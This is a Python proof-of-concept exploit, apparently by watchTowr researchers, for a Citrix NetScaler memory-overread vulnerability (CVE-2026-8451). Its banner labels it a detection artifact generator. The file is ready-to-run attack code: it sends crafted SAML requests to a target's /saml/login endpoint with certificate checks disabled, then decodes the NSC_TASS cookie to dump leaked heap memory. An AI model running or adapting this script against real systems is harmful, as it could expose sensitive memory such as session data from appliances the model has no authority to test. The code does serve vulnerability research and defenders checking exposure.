import argparse import base64 import requests import ssl from requests.adapters import HTTPAdapter from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) banner = """ __ ___ ___________ __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\ \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/ \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| \\/ \\/ \\/ watchTowr-vs-Netscaler-CVE-2026-8451.py (*) CVE-2026-8451 Citrix Netscaler memory overread Detection Artifact Generator - Aliz (@alizTheHax0r) of watchTowr (@watchTowrcyber) """ # Some netscalers have cipers that Python/openssl doesn't use by default, so add them. # https://stackoverflow.com/questions/76966914/how-to-set-default-ciphers-for-python-requests-library-when-using-urllib3-ver class CustomSSLAdapter(HTTPAdapter): def init_poolmanager(self, *args, **kwargs): ssl_context = ssl.create_default_context() ssl_context.set_ciphers('DEFAULT@SECLEVEL=1') ssl_context.check_hostname = False # See urllib3.poolmanager.SSL_KEYWORDS for all available keys. kwargs["ssl_context"] = ssl_context return super().init_poolmanager(*args, **kwargs) # Print some bytes in a nice hexdump # https://stackoverflow.com/questions/25005505/pythonic-way-to-hex-dump-files def hexdump(data: bytes): def to_printable_ascii(byte): return chr(byte) if 32 <= byte <= 126 else "." offset = 0 while offset < len(data): chunk = data[offset : offset + 16] hex_values = " ".join(f"{byte:02x}" for byte in chunk) ascii_values = "".join(to_printable_ascii(byte) for byte in chunk) print(f"{offset:08x} {hex_values:<48} |{ascii_values}|") offset += 16 def attack(target: str): sess = requests.Session() sess.mount('https://', CustomSSLAdapter()) # Vary the size of the memory allocation to make sure we get a variety of heap blocks for n in range(1024, 1, -1): samlReq = """watchTowr Version="2.0" AssertionConsumerServiceURL=""" samlReqB64 = base64.b64encode(samlReq.encode()) samlReqURL = ''.join(map(lambda x: f"%{x:02x}", samlReqB64)) resp = sess.post(f'{target}/saml/login', data={"SAMLRequest": samlReqURL}, verify=False, allow_redirects=False) resp.raise_for_status() tassCookie = resp.cookies.get('NSC_TASS', None) if tassCookie is not None: tassCookieBytes = base64.b64decode(tassCookie) leakedBytes = tassCookieBytes[tassCookieBytes.find(b"ACSURL=") + 7:] if len(leakedBytes) > 0: print("Leaked bytes:") hexdump(leakedBytes) if __name__ == "__main__": print(banner) usage = """python3 watchTowr-vs-Netscaler-CVE-2026-8451.py """ parser = argparse.ArgumentParser(description='CVE-2026-8451 Citrix Netscaler Detection Artifact Generator', usage=usage) parser.add_argument('target', type=str, help='Host, eg. "https://192.168.1.1:8000"') args = parser.parse_args() target = args.target attack(target)